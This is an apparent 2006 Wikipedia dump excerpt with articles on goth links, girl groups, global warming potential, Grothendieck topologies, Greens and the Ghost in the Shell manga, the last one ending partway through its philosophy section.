* [http://www.blueblood.net BlueBlood.net]
* [http://www.darklinks.com DarkLinks.com]
* [http://darknation.pl DarkNation International Goth Community]
* [http://www.goth.net Goth.net]
* [http://gothic.startheaven.com/ Gothic Startheaven] More gothic links
* [http://www.scathe.demon.co.uk/histgoth.htm ScatheWeb History of Goth]

===Events===
* [http://www.vamp.org/Gothic/clublist.html The International Gothic Club Listing] &amp;mdash; Worldwide Goth club directory that is sorted by region. Content is contributed by visitors and usually consists of club specifics such as location, music type, cover charge, drinks, dress code, directions and other miscellaneous club information
* [http://www.dropdeadfestival.com Drop Dead Festival] Largest US Goth Festival
* [http://www.gothicchicago.com GothicChicago.com]Chicago's Online Gothic/Industrial/Spooky Resource since Halloween 1997
* [http://www.netgoth.org.uk Netgoth] UK based goth event listings
* [http://anon.razorwire.com/events/ NYC Gothic Events] Concerts, festivals and weekly events in New York City
* [http://www.wave-gotik-treffen.de/english/ Wave Gotik Treffen] Annual Goth festival in Leipzig, Germany (English version)

===Magazines and Press===
* [http://www.dropdeadmagazine.com Drop Dead Magazine] US Goth and Deathrock Magazine
* [http://www.gothics.org/subculture/articles/undead.php &quot;Undead Undead Undead&quot;] (''[[Alternative Press (music magazine)|Alternative Press]]'' November 1994 article by Dave Thompson and Jo-Ann Greene, with retrospective quotes from early '80s post punk bands on the &quot;goth&quot; label)
* [http://www.xiangoth.net XianGoth.net] Reviews, Interviews and articles pertaining to progressive spirituality and Gothic subculture
* [http://www.religioustolerance.org/goth.htm Religious tolerance.org]: ''The Goth Culture: Its history, stereotypes, religious connections, etc''



[[Category:Goth|*]]
[[Category:Subcultures]]

[[cs:Gotické hnutí]]
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  <page>
    <title>Girl group</title>
    <id>12907</id>
    <revision>
      <id>41273422</id>
      <timestamp>2006-02-26T05:29:11Z</timestamp>
      <contributor>
        <username>Fabricationary</username>
        <id>289480</id>
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      <comment>rewriting</comment>
      <text xml:space="preserve">[[Image:UC3 USO.jpg|right|thumb|Girl group [[UC3 (band)|UC3]] sing &quot;[[The Star-Spangled Banner]]&quot; for U.S. troops in Afghanistan]]

A '''girl group''', as the name implies, is a [[musical group]] featuring a group consisting usually of young [[female]] [[singer|singers]], singing mostly [[pop music |pop]] and [[rhythm and blues|R&amp;B]] songs.  It is essentially the female equivalent of a [[boy band]].

==Early girl-groups==

Girl groups date back to the late [[1950s]] and the beginning of the [[1960s]], when they were often manufactured by producers or [[record companies]].  Often in these times, the girl group was used as a vehicle for the latest work by a label's resident songwriters, such as the work of [[Phil Spector]] and the early days of [[Motown]].  Even earlier, female [[pop music]] singing groups were popular; &quot;Sister groups&quot; like the [[Andrews Sisters]] and the [[Boswell Sisters]] were composed of sisters or relatives.  Groups such as the Boswells and the [[Keller Sisters and Lynch]] were pop recording artists dating as far back as the [[1920s]].

The sound of many early [[rock and roll]] girl groups was engineered by a producer.  For instance, Phil Spector's ''[[Wall of Sound]]'' production featured a thick layer of instrumentation ([[drums]], [[guitar]], [[bass guitar|bass]], a [[horn section]] and often something more exotic, such as ''[[Glockenspiel]]'' or [[vibraphone]]).  Amidst the musical accompaniment, there was a lead vocal, often deliberately girlish in tone, singing deceptively simple, naïve lyrics which artfully and eloquently expressed the emotions of teenagers of the time.  An example would be [[The Shirelles]]' &quot;Will You Still Love Me Tomorrow&quot;, which doubles as both a charming love song and, implicitly, a portrayal of adolescent sexual [[mores]].  Other groups, including some [[New York City]]-based ones like [[The Chiffons]], used more conventional [[pop music]] arrangements, while the Motown groups used typical driving Motown arrangements of the period.

By the mid-late [[1960s]], in the face of the [[British Invasion]] and the increasing popularity of rock music, the popularity of girl groups began to wane.  During this time, only a few all-female groups, such as [[The Supremes]] and [[Martha and the Vandellas]], made the transition to an earthier, soulful sound and success.  [[Fanny]] was among the first all-female rock act to gain success in the United States and Europe.  This group was among the first to sign with a major recording company (1969, [[Warner Brothers]]) and record albums released by major lables.  

==Later girl groups==

In recent times, the sound of girl groups has been defined, and has helped to define, the popular musical styles of the period. 

While the 1980s saw the emergence of rock and punk-rock girl groups such as [[The Go-Go's]], the girl groups of the 1990s returned to a manufactured pop style marketed as clean-cut and aimed at young, predominantly female, audiences. The [[Spice Girls]] were one of the most influential girl group of this time, bringing their slogan &quot;[[Girl Power]]&quot; to popular use through several number one pop singles, sold-out concerts, and even a popular motion picture.  In the early 2000s, girl groups again increased in popularity, spawning such bands as California-based [[Dream (band)|Dream]], the [[Sweden|Swedish]] quartet [[Play (band)|Play]], the Russian duo [[T.A.T.u.|t.A.T.u.]]. 

Today's most notable girl groups include American bands such as [[Destiny's Child]] and British bands such as [[Girls Aloud]] and the [[Sugababes]]. 

==See also==

*[[List of girl groups]]
*[[List of all-women bands]]

{{rock}}
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  <page>
    <title>Global warming potential</title>
    <id>12908</id>
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      <id>40721380</id>
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      <minor />
      <comment>disambiguation from [[EPA]] to [[Environmental Protection Agency]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">'''Global warming potential''' (GWP) is a measure of how much a given mass of [[greenhouse gas]] is estimated to contribute to [[global warming]]. It is a relative scale which compares the [[gas]] in question to that of the same mass of [[carbon dioxide]] (whose GWP is by definition 1). A GWP is calculated over a specific time interval and the value of this must be stated whenever a GWP is quoted or else the value is meaningless.

==Calculation of GWP==

GWP is based on a number of factors, including the radiative efficiency (heat-absorbing ability) of each gas relative to that of carbon dioxide, as well as the decay rate of each gas (the amount removed from the atmosphere over a given number of years) relative to that of carbon dioxide [http://www.eia.doe.gov/oiaf/1605/gwp.html]. 

The [[Intergovernmental Panel on Climate Change]] (IPCC) provides the generally accepted values for GWP, which changed slightly between 1996 and 2001. An exact definition of how GWP is calculated is to be found in the IPCC's [http://www.grida.no/climate/ipcc_tar/wg1/247.htm 2001 Third Assessment Report].

&lt;center&gt;&lt;math&gt;GWP \left(x\right) = \frac{\int_0^{TH} a_x \cdot \left[x(t)\right] dt} {\int_0^{TH} a_r \cdot \left[r(t)\right] dt}&lt;/math&gt;&lt;/center&gt;

where: TH is the time horizon over which the calculation is considered; a&lt;sub&gt;x&lt;/sub&gt; is the radiative efficiency due to a unit increase in atmospheric abundance of the substance (i.e., Wm&lt;sup&gt;-2&lt;/sup&gt; kg&lt;sup&gt;-1&lt;/sup&gt;) and [x(t)] is the time-dependent decay in abundance of the substance following an instantaneous release of it at time t=0. The denominator contains the corresponding quantities for the reference gas (i.e. CO&lt;sub&gt;2&lt;/sub&gt;).

===GWP used in Kyoto protocol===

Under the [[Kyoto protocol]], the Conference of the Parties decided (decision 2/CP.3) [http://unfccc.int/resource/docs/cop3/07a01.pdf#page=31 ] that the values of GWP calculated for the [[IPCC Second Assessment Report]] are to be used for converting the various greenhouse gas emissions into comparable CO&lt;sub&gt;2&lt;/sub&gt; equivalents when computing overall sources and sinks.

==Importance of time horizon==

Note that a substance's GWP depends on the timespan over which the potential is calculated. A gas which is quickly removed from the atmosphere may initially have a large effect but for longer time periods as it has been removed becomes less important. Thus methane has a potential of 23 over 100 years but 62 over 20 years; conversely [[sulfur hexafluoride]] has a GWP of 22,000 over 100 years but 15,100 over 20 years (IPCC TAR). The GWP value depends on how the gas concentration decays over time in the atmosphere. This is often not precisely known and hence the values should not be considered exact. For this reason when quoted a GWP it is important to give a reference to the calculation.

The GWP for a mixture of gases can not be determined from the GWP of the consituent gases by any form of simple linear addition.

== GWP Values==


[[Carbon dioxide]] has a GWP of exactly 1 (since it is the baseline unit to which all other greenhouse gases are compared.)

{| border=&quot;1&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot; 
|+'''GWP values and lifetimes from IPCC TAR [http://www.grida.no/climate/ipcc_tar/wg1/248.htm]'''
!rowspan=2|'''Gas'''
!rowspan=2|'''Lifetime (years)'''
!colspan=3|GWP&lt;br&gt;Time horizon
|-
|20  years
|100 years
|500 year
|-
|[[Methane]]
|12
|62
|23
|7
|-
|[[Nitrous oxide]]
|114
|275
|296
|156
|-
|[[HFC-23]] ([[hydrofluorocarbon]])
|260
|9400
|12000
|10000
|-
|[[sulfur hexafluoride]]
|3200
|15100
|22200
|32400
|}

A GWP is not usually calculated for [[Water]] vapour, largely because it is not relevant; see [[greenhouse gas]].

==External links==
*[http://www.epa.gov/nonco2/econ-inv/table.html List of Global Warming Potentials and Atmospheric Lifetimes] from the U.S. [[Environmental Protection Agency|EPA]]
*[http://yosemite.epa.gov/oar/globalwarming.nsf/UniqueKeyLookup/SHSU5BUM9T/$File/ghg_gwp.pdf  Greenhouse Gases and Global Warming Potential Values, Excerpt from the Inventory of U.S. Greenhouse Gas Emissions and Sinks: 1990-2000] from the U.S. [[Environmental Protection Agency|EPA]]
*[http://www.grida.no/climate/ipcc_tar/wg1/247.htm IPCC 2001 Third Assessment Report page on Global Warming Potentials]
*[http://www.realclimate.org/index.php?p=142 An overview of the role of H&lt;sub&gt;2&lt;/sub&gt;O as a greenhouse gas]

[[Category:Climate change]]
[[Category:Greenhouse gases]]
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    <title>Green Bank equation</title>
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      <text xml:space="preserve">#REDIRECT [[Drake equation]]
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  <page>
    <title>Grothendieck topology</title>
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      <comment>/* Definition */</comment>
      <text xml:space="preserve">In [[category theory]], a branch of [[mathematics]], a '''Grothendieck topology''' is a structure on a category ''C'' which makes the objects of ''C'' act like the [[open set]]s of a [[topological space]].  Grothendieck topologies axiomatize the notion of an [[open cover]].  Using the notion of covering provided by a Grothendieck topology, it becomes possible to define sheaves on a category and their cohomology.  This was first done in [[algebraic geometry]] and [[algebraic number theory]] by [[Alexandre Grothendieck]] to define the [[étale cohomology]] of a [[scheme (mathematics)|scheme]].  It has been used to define many other cohomology theories since then, such as [[l-adic cohomology]], [[flat cohomology]], and [[crystalline cohomology]].  While Grothendieck topologies are most often used to define cohomology theories, they have found other applications as well, such as to [[John Tate]]'s theory of [[rigid analytic geometry]].

Grothendieck topologies are not comparable to the classical notion of a [[topological space|topology]] on a space.  While it is possible to interpret [[sober space]]s in terms of Grothendieck topologies, more pathological spaces have no such representation.  Conversely, not all Grothendieck topologies correspond to topological spaces.

== Introduction ==
''Main article: [[Background and genesis of topos theory]]''

[[André Weil]]'s famous [[Weil conjectures]] proposed that certain properties of equations with integral coefficients should be understood as geometric properties of the [[algebraic variety]] that they defined.  His conjectures postulated that there should be a [[cohomology]] theory of algebraic varieties which gave number-theoretic information about their defining equations.  This cohomology theory was known as the &quot;Weil  cohomology&quot;, but using the tools he had available, Weil was unable to construct it.

In the early [[1960s]], Alexandre Grothendieck introduced [[étale map]]s into algebraic geometry as algebraic analogues of local analytic isomorphisms in [[analytic geometry]].  He used étale coverings to define an algebraic analogue of the [[fundamental group]] of a topological space.  Soon [[Jean-Pierre Serre]] noticed that some properties of étale coverings mimicked those of [[open immersion]]s, and that consequently it was possible to make constructions which imitated the cohomology functor H&lt;sup&gt;1&lt;/sup&gt;.  Grothendieck saw that it would be possible to use Serre's idea to define a cohomology theory which he suspected would be the Weil cohomology.  To define this cohomology theory, Grothendieck needed to replace the usual, topological notion of an open covering with one that would use étale coverings instead.  Grothendieck also saw how to phrase the definition of covering abstractly; this is where the definition of a Grothendieck topology comes from.

== Definition ==

The classical definition of a sheaf begins with a topological space ''X''.  A sheaf associates information to the open sets of ''X''.  This information can be phrased abstractly by letting ''O''(''X'') be the category whose objects are the open sets of ''X'' and whose morphisms are open immersions.  Then a presheaf on ''X'' is a contravariant functor from ''O''(''X'') to the category of sets, and a sheaf is a presheaf which satisfies the [[gluing axiom]].  The gluing axiom is phrased in terms of pointwise covering, i.e., {''U&lt;sub&gt;i&lt;/sub&gt;''} covers ''U'' if and only if &amp;cup;&lt;sub&gt;i&lt;/sub&gt; ''U&lt;sub&gt;i&lt;/sub&gt;'' = ''U''.

A Grothendieck topology encodes the information about covering without any reference to the space itself.  The notion of covering is replaced by the notion of a [[sieve (category theory)|sieve]].  A '''sieve''' is a [[subfunctor]] of a functor of the form Hom(&amp;minus;, ''c'') for some object ''c''; in other words, if ''S'' is a sieve, then ''S''(''c''&amp;prime;) &amp;sube; Hom(''c''&amp;prime;, ''c'') for some object ''c'', and for any morphism ''f'', ''S''(''f'') is the restriction of Hom(''f'', ''c''), the pullback by ''f''.  In the case of ''O''(''X''), a sieve represents a collection of open sets contained in a larger open set.  Each sieve corresponds to a possible way of covering ''U''.  For example, if ''S'' is a sieve on an open set ''U'', then ''S''(''V'') is a subset of Hom(''V'', ''U''), which has only one element, the open immersion ''V'' &amp;rarr; ''U''. ''S''(''V'') will contain this map if and only if ''V'' is one of the sets that ''S'' uses to cover ''U''.

A Grothendieck topology ''J'' on a category ''C'' is defined by giving, for each object ''c'' of ''C'', a collection ''J''(''c'') of sieves on ''c'', subject to certain conditions.  These sieves are called '''covering sieves'''.  Continuing the previous example, a sieve ''S'' on an open set ''U'' in ''O''(''X'') will be a covering sieve if and only if the union of all the open sets ''V'' for which ''S''(''V'') is nonempty equals ''U''; in other words, if and only if ''S'' gives us a collection of open sets which cover ''U'' in the classical sense.

The conditions we impose on a '''Grothendieck topology''' are:

# (Base change) Let ''S'' be a covering sieve on ''X'', and let ''f'': ''Y'' &amp;rarr; ''X''.  Let ''f''&lt;sup&gt;&amp;lowast;&lt;/sup&gt;''S'' be the [[fibered product]] ''S'' &amp;times;&lt;sub&gt;Hom(&amp;minus;, ''X'')&lt;/sub&gt; Hom(&amp;minus;, ''Y'') together with its natural embedding in Hom(&amp;minus;, ''Y''); equivalently, for each object ''Z'' of ''C'', ''f''&lt;sup&gt;&amp;lowast;&lt;/sup&gt;''S''(''Z'') = { ''g'': ''Z'' &amp;rarr; ''Y'' | ''fg'' &amp;isin; ''S''(''Z'') }.  Then ''f''&lt;sup&gt;&amp;lowast;&lt;/sup&gt;''S'', the '''pullback of''' ''S'' '''along''' ''f'', is a covering sieve.
# (Local character)  Let ''S'' be a covering sieve on ''X'', and let ''T'' be any sieve on ''X''.  Suppose that for each object ''Y'' of ''C'' and each arrow ''f'': ''Y'' &amp;rarr; ''X'' in ''S''(''Y''), the pullback sieve ''f''&lt;sup&gt;&amp;lowast;&lt;/sup&gt;''T'' is a covering sieve on ''Y''.  Then ''T'' is a covering sieve on ''X''.
# (Identity) Hom(&amp;minus;, ''X'') is a covering sieve on ''X'' for any object ''X'' in ''C''.

The base change axiom corresponds to the idea that if {''U&lt;sub&gt;i&lt;/sub&gt;''} covers ''U'', then {''U&lt;sub&gt;i&lt;/sub&gt;'' &amp;cap; ''V''} should cover ''U'' &amp;cap; ''V''.  The local character axiom corresponds to the idea that if {''U&lt;sub&gt;i&lt;/sub&gt;''} covers ''U'' and {''V&lt;sub&gt;ij&lt;/sub&gt;''}&lt;sub&gt;''j &amp;isin; J&lt;sub&gt;i&lt;/sub&gt;''&lt;/sub&gt; covers ''U&lt;sub&gt;i&lt;/sub&gt;'' for each ''i'', then the collection {''V&lt;sub&gt;ij&lt;/sub&gt;''} for all ''i'' and ''j'' should cover ''U''.  Lastly, the identity axiom corresponds to the idea that any set is covered by all its possible subsets.

In fact, it is possible to put these axioms in another form where their geometric character is more apparent.  Assume that the underlying category ''C'' has fibered products.  Instead of specifying sieves, we can specify that certain collections of maps with a common codomain should cover their codomain.  These collections are called '''covering families'''.  If the collection of all covering families satisfies certain axioms, then we say that they form a '''Grothendieck pretopology'''.  These axioms are:

# (Stability under base change) For all objects ''X'' of ''C'', all morphisms ''Y'' &amp;rarr; ''X'', and all covering families {''X''&lt;sub&gt;&amp;alpha;&lt;/sub&gt; &amp;rarr; ''X''}, the family {''X''&lt;sub&gt;&amp;alpha;&lt;/sub&gt; &amp;times;&lt;sub&gt;''X''&lt;/sub&gt; ''Y'' &amp;rarr; ''Y''} is a covering family.
# (Stability under composition) If {''X''&lt;sub&gt;&amp;alpha;&lt;/sub&gt; &amp;rarr; ''X''} is a covering family, and if for all &amp;alpha;, {''X''&lt;sub&gt;&amp;beta;&amp;alpha;&lt;/sub&gt; &amp;rarr; ''X''&lt;sub&gt;&amp;alpha;&lt;/sub&gt;} is a covering family, then the family of composites {''X''&lt;sub&gt;&amp;beta;&amp;alpha;&lt;/sub&gt; &amp;rarr; ''X''&lt;sub&gt;&amp;alpha;&lt;/sub&gt; &amp;rarr; ''X''} is a covering family.
# (Isomorphisms) If ''f'': ''Y'' &amp;rarr; ''X'' is an isomorphism, then {''f''} is a covering family.

Assuming that ''C'' has fibered products, each topology is a pretopology, where each covering family is the set of all arrows in a particular sieve.  Even if ''C'' does not have fibered products, each pretopology defines a topology, though it is possible for several different pretopologies to define the same topology.

== Sites and sheaves ==

Let ''C'' be a category and let ''J'' be a Grothendieck topology on ''C''.  The pair (''C'', ''J'') is called a '''site'''.

A '''presheaf''' on a category is a contravariant functor from ''C'' to the category of all sets.  Note that for this definition ''C'' is not required to have a topology.  A sheaf on a site, however, should allow gluing, just like sheaves in classical topology.  Consequently, we define a sheaf on a site to be a presheaf ''F'' such that for all objects ''X'' and all covering sieves ''S'' on ''X'', the natural map Hom(Hom(&amp;minus;, ''X''), ''F'') &amp;rarr; Hom(''S'', ''F'') induced by the inclusion of ''S'' into Hom(&amp;minus;, ''X'') is a bijection.  Halfway in between a presheaf and a sheaf is the notion of a '''separated presheaf''', where the natural map above is required to be only an injection, not a bijection, for all sieves ''S''.

Using the [[Yoneda lemma]], it is possible to show that a presheaf on the category ''O''(''X'') is a sheaf on the topology defined above if and only if it is a sheaf in the classical sense.

Sheaves on a pretopology have a particularly simple description: For each covering family {''X''&lt;sub&gt;&amp;alpha;&lt;/sub&gt; &amp;rarr; ''X''}, the diagram

:&lt;math&gt;F(X)\to \prod_{\alpha\in A} F(X_\alpha) {\to\atop\to} \prod_{\alpha,\beta \in A} F(X_\alpha\times_X X_\beta)&lt;/math&gt;

must be an [[equalizer]].  For a separated presheaf, the first arrow need only be injective.

Similarly, one can define presheaves and sheaves of [[abelian group]]s, [[ring (mathematics)|ring]]s, [[module (mathematics)|module]]s, and so on.  One can require either that a presheaf ''F'' is a contravariant functor to the category of abelian groups (or rings, or modules, etc.), or that ''F'' be an abelian group (ring, module, etc.) object in the category of all contravariant functors from ''C'' to the category of sets.  These two definitions are equivalent.

[[Category:Topos theory]]
[[Category:Sheaf theory]]

[[es:Topología de Grothendieck]]
[[ko:그로텐디크 위상]]</text>
    </revision>
  </page>
  <page>
    <title>Gung Fu</title>
    <id>12912</id>
    <revision>
      <id>31391393</id>
      <timestamp>2005-12-14T23:09:56Z</timestamp>
      <contributor>
        <username>SaraVon</username>
        <id>84545</id>
      </contributor>
      <minor />
      <comment>remove double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Chinese martial arts]]</text>
    </revision>
  </page>
  <page>
    <title>Greens</title>
    <id>12913</id>
    <revision>
      <id>39219751</id>
      <timestamp>2006-02-11T16:41:51Z</timestamp>
      <contributor>
        <username>Sango123</username>
        <id>223113</id>
      </contributor>
      <minor />
      <comment>spacing</comment>
      <text xml:space="preserve">:''This article is about the political category.  For the vegetables, see [[Leaf vegetable]].''
{{Greens}}

'''Greens''' are people who support some or all of the goals of a [[Worldwide green parties|Green Party]] without necessarily working with or voting for that or any party. Most of them consider themselves to be part at least of a global [[Green movement]]. A potential [[basis of unity]] for Greens could be Green values (as made explicit in the [[Four Pillars]] and other documents), but even these aren't shared by all people who consider themselves Greens.

Historically, &quot;being green&quot; developed as a political [[identity]] together with the blooming of the [[peace movement]], the [[ecology movement]] (see [[preventive paradigm]]), and the [[feminism|feminist movement]] in the late [[1970s]], the time the first green parties on a local level were founded.

==Different kinds of Greens==
A small sample of the factions or tendencies that exist on the movement's fringe &amp;mdash; some only in very small numbers:

*''Deep Greens'' follow the [[ascetic]] ethics of [[Baruch Spinoza|Spinoza]], [[Mohandas Gandhi]], and [[indigenous peoples]]. They are usually rural people who prefer wild to &quot;tamed&quot; living. ''Cf.'' also the ideology of [[deep ecology]].

*''[[Wild Greens]]'' are a youth movement of [[New Zealand Green Party]], committed to [[direct action]] and taking bodily risks to protect nature.

*''[[Viridian Greens]]'' are a more artistic movement in the U.S., originated by science fiction writer [[Bruce Sterling]], and have fewer objections to media or technology.

*''Eco-Anarchists'' ([[Eco-anarchism]], [[Green anarchism]]) can also be thought of as greens (but not generally Greens).

==See also==
*The article on [[Worldwide green parties]] gives an overview about organized green parties all over the world, their history, their goals, and their cooperation.
*The article on the [[Green movement]] describes the broader world-view of &quot;being green&quot; in the sense of a personal political identity.

==External links==
* [http://cagreens.org/archives/ California Green Archives]

[[de:Die Grünen]]
[[eo:Verdaj Partioj]]
[[fr:Partis verts à travers le monde]]

[[Category:Green politics]]</text>
    </revision>
  </page>
  <page>
    <title>Ghost in the Shell</title>
    <id>12914</id>
    <revision>
      <id>41837420</id>
      <timestamp>2006-03-02T01:44:51Z</timestamp>
      <contributor>
        <ip>129.105.121.190</ip>
      </contributor>
      <text xml:space="preserve">:''This article is about the manga. For the films, see [[Ghost in the Shell (film)]] and ''[[Ghost in the Shell 2: Innocence]]''. For the TV series, see ''[[Ghost in the Shell: Stand Alone Complex]].''
[[Image:Motoko.JPG |right|thumb|[[Motoko Kusanagi]] from the manga Ghost in the Shell.]]

'''''Ghost in the Shell''''' ([[Japanese language|Japanese]]: 攻殻機動隊, Kōkaku Kidōtai, i.e. ''Mobile Armoured Riot Police''), is a [[Japanese people|Japanese]] [[science fiction]] [[manga]] created by [[Masamune Shirow]]. A [[sequel]], ''[[Ghost in the Shell 2: Man/Machine Interface]]'' appeared in [[2002]].

Two [[anime]] films have been adapted from it, as well as a TV series.  

== Setting ==
{{spoiler}}
[[Image:Gs026.jpg|thumb|left|Cyborg shell]]
''Ghost in the Shell'' is an [[Existentialism|existentialist]] search for meaning set in the [[21st century]]. Superficially, it is a futuristic [[spy thriller]] dealing with the exploits of [[Motoko Kusanagi]], a member of the covert operations section of the [[National Public Safety Commission (Japan)|Japanese National Public Safety Commission]], [[Section 9]], which specializes in fighting technology-related crime. Although supposedly equal to all other members, Kusanagi fills the leadership role in the team, and is usually referred to as &quot;[[Major]]&quot; due to her past rank in the armed forces. She is capable of superhuman feats, and cybernetically specialized for her job; her body is almost completely mechanized, save her brain and a single spinal cord segment.
[[Image:Ghostintheshell.jpg|thumb|right||[[Batou]] from the movie ''[[Ghost in the Shell]]'' (1995)]]

The setting of ''Ghost in the Shell'' is [[cyberpunk]] or [[postcyberpunk]], similar to that of [[William Gibson (novelist)|William Gibson]]'s [[Sprawl trilogy]] and other post/cyberpunk works. However, Shirow's work is focused more tightly on the ethical and philosophical ramifications of the widespread merging of humanity and technology. The development of [[artificial intelligence]] and an omnipresent computer network set the stage for a reevaluation of human identity and uniqueness. More so than the films, the manga tackles these questions head on: Kusanagi and her colleagues face external threats and also suffer internal conflict over their own natures.

The overarching story of the manga is of the hunt for a cyber-criminal, the Puppeteer (known as the Puppet Master in the film), whose real identity is unknown. The Puppeteer commits a large number of crimes through a single modus operandi: &quot;ghost hacking&quot;, that is, breaking into and taking control of human minds. As the agents of Section 9 start to unravel the mystery of the Puppeteer, it becomes clear that it is no ordinary criminal, but a unique autonomous artificial intelligence project (Top Secret Project 2501) created by another government agency, the Ministry of Foreign Affairs (MFA), also known as Section 6. The Puppeteer escapes Section 6 servers in pursuit of his evolution through merging with Kusanagi. Kusanagi, although initially skeptical, finally agrees to allow the Puppeteer to merge with her own consciousness, sharing her body, in what is no doubt intended to raise even more questions about the nature of human identity in a world where human consciousness is no longer unique.

The manga is notable for the proliferance of footnotes and commentary by Shirow himself on both the technology and the socio-political background of the setting (in the complete, [[English language]] [[graphic novel]] edition, these take up more than 30 pages).

==The philosophy of ''Ghost in the Shell''==
==Ghosts==
In ''Ghost in the Shell'', the word ''ghost'' is colloquial slang for an individual's mind or essence of being. In the manga's futuristic society, science has redefined the &quot;[[soul]]&quot; or &quot;ghost&quot;, as the thing that differentiates a human being from a biological robot. Regardless of how much biological material is replaced with electronic or mechanical substitutes, as long as an individual retains their ''ghost,'' they retain their humanity and individuality.

The concept of the ghost was borrowed by [[Masamune Shirow]] from an essay on [[structuralism]], &quot;[[The Ghost in the Machine]]&quot; by [[Arthur Koestler]]. The title ''The Ghost in the Machine'' itself was originally used by a [[British]] [[philosopher]], [[Gilbert Ryle]] to mock the [[paradox]] of conventional [[Cartesian dualism]] and [[Dualism (philosophy of mind)|Dualism]] in general. Koestler, like Ryle, denies Cartesian dualism and locates the origin of human mind in the physical condition of the brain. He argues that the human [[brain]] has grown and built upon earlier, more primitive brain structures, the &quot;ghost in the machine&quot;, which at times overpower higher logical functions, and are responsible for hate, anger and other such destructive impulses.
Shirow denies dualism similarly in his work, but defines the &quot;ghost&quot; more broadly, not only as a physical trait, but as a [[phase]] or phenomenon that appears in a [[system]] at a certain level of complexity. The brain itself is only part of the whole [[neural network]]; if, for example, an organ is removed from a body, the autonomic nerve of the organ and consequently its &quot;ghost&quot; will vanish unless the stimulus of the existence of the organ is perfectly re-produced by a mechanical substitution. This can be compared, by analogy, to a person with innate hearing disability being unable to understand the concept of &quot;hearing&quot; unless taught.

In ''Ghost in the Shell'', Kusanagi completely reproduces the stimulus of all of her organs in order to maintain her &quot;ghost&quot;. If a technical error arises during the transfer of a &quot;ghost&quot; from one body to another, the transfer normally results in failure, since the &quot;ghost&quot; tends to deteriorate due to either the difference of system at the material level or the deficiency of the transferring protocol. The Puppeteer manages not to deteriorate its &quot;ghost&quot; when merging with Kusanagi because his system is the body of information itself, thereby avoiding a deterioration due to the deficiency at material level.

The [[Ancient Greeks]] had a similar paradox, called the [[Ship of Theseus]].  [[Hegel]]'s concept of ''[[Geist (philosophy)|Geist]]'' may also be related. 

===Birth===
Another interpretation of the fusion of Kusanagi and the Puppeteer is analogous to the concept of birth whereby two separate entities create a third entity which is not the same as either of the originating ghosts or [[DNA]] sets but shares common traits. The Puppeteer does not wish to merely save himself from termination: to do so, he could simply ask Kusanagi to give him shared space in her memory cores that she could offload later into another robotic receptacle. He quite specifically asks her to fuse her &quot;ghost&quot; or &quot;soul&quot; with his own, a form of marriage/birth in which the resultant being is neither the Puppeteer nor Kusanagi but a new being entirely. This touches upon concepts of birth, immortality through progeny, and the union of two ghosts/people in the creation of progeny.

===Humanity===
Throughout the story the cyborg characters, being more or less a human brain with a manufactured body, contemplate individually and together what being human really is, and how a soul or ghost is truly defined. The Puppeteer is an AI, yet they recognize traits and personality within his mind structure that are clearly analogous to a human soul or ghost image. They cannot discount this similarity as it is very clearly analyzed by their medical scanning tools when they first captured the Puppeteer. The members of Section 9 must re-evaluate their own tenuous hold on the idea of humanity and &quot;self&quot;, when faced with a being who clearly is self directed and has a ghost but was originated as a complex program not a DNA organism.

===AI as a step in evolution===
A very important concept within ''Ghost in the Shell'' is that evolution is the process of merging two sets of data (DNA) in order to create a third set of data which contains the most vital elements of the original organisms along with some element of chance. The Puppeteer has evolved beyond DNA as a data set and thus to procreate (his true desire and purpose for leaving the net in the first place) this new organism (a soul not born of DNA) a new paradigm of data merging needs to be contemplated for which he has sought Kusanagi out. This is a merger of two operating &quot;souls&quot; or &quot;ghosts&quot; into one mind, which is specifically different than birth while being analogous to it at the same time.

Extended sequences in an old museum in the film version contemplate life as an evolutionary step to creating AI, differing significantly from the content of the same sequence in the manga.

===De-Ghosting===
One of the consequences of this revelation is a final resolution of the [[nature versus nurture]] debate in sociology.  When a criminal is convicted of a crime in [[Masamune Shirow]]'s future world, a detailed technical analysis is done of the subject.  If it is discovered that the crime was committed due to a material defect in either the biological or electronic components of the convict's brain, the defect is repaired and the convict is released.  If, instead, the crime is determined to have been the result of an individual's ''ghost,'' then there is only one cure: the removal of the portion of the brain that communicates with the soul, thereby ''de-ghosting'' the criminal and preventing any possibility of future criminal behavior.

===Tachikoma/Fuchikoma===
Tachikoma (they are called [[Tachikoma]] in Stand Alone Complex, but called [[Fuchikoma]] in the original manga) are artificially intelligent mini-tanks ([[walker (machine)|walker]]s) employed by Section 9.  Because of the demands of field duty, these robots are constructed with extremely flexible, adaptable AIs that lack many of the safeguards present in other artificially intelligent robots.  While this enables them to behave unpredictably and flexibly, it also presents difficulties for the members of Section 9, who must monitor the Fuchikoma closely for signs of undesirable emotional development.

The underlying statement here is that predictable behavior results in inherent weakness.  Section 9, as an organization, needs heterogeneity and even organic weakness if it is to survive.  &quot;A machine where all the parts respond the same way is a brittle tool.&quot;

Tachikoma ask questions that otherwise would not have been brought to mind. Like children that are trying to understand the world, yet with superior thinking capabilities. There are Tachikoma short clips that involve them discussing complex philosophical issues and how they relate to existance. They provide more of an innocent look on the world that surrounds them.

===Cyberbrain warfare/Ghost hacking===
Cyberbrain warfare is the practice of employing ''ghost hacking'' as a means of gaining access to an opponent's cyberbrain, and ultimately, their ''ghost.''  A successful cyberhacker can intercept, censor, or augment the sensory information being received by a victim, or even go so far as to destroy or rewrite complete memories. Furthermore, cyberbrain can be directly injured, by making the cyberbrain undergo unaffordable computation and thus overheat. (See [[Cordwainer Smith]]'s &quot;The Burning of the Brain&quot;)

Cyberbrain warfare is portrayed as a natural consequence of the integration of cybernetic and wireless communication technology directly into the human brain.  Despite the apparent risks, even the most paranoid characters in the story find the benefits of directly networking their brains to be indispensable.

Apparently, any conduit by which information is absorbed by the brain can be exploited for ''ghost hacking.'' Shirow envisions the use of [[Firewall (networking)|firewalls]] for protecting the ''ghost'' against attack, and multiple layers of [[encryption]].

===External Memory===
Like information stored in the hard-drive of a modern computer the memories of a ghost can become fragmented and unreliable. This is the result of ghost-hacking, psychological treatment, trauma experienced while ghost-diving, corrupted transferrence from one cyber-brain to another, and the degradation of memories as they are collected and cross-referenced over the course of a lifetime.
 
The response that humans have developed to cope with the confusion of memories is to reinforce them with external reminders. Artwork, books, clothing, personal electronics, places of employment, and even companions are carefully chosen to familiarize the landscape of one's existence. In a sense we are partly motivated in our actions by the desire to look back on them with fondness and clarity.

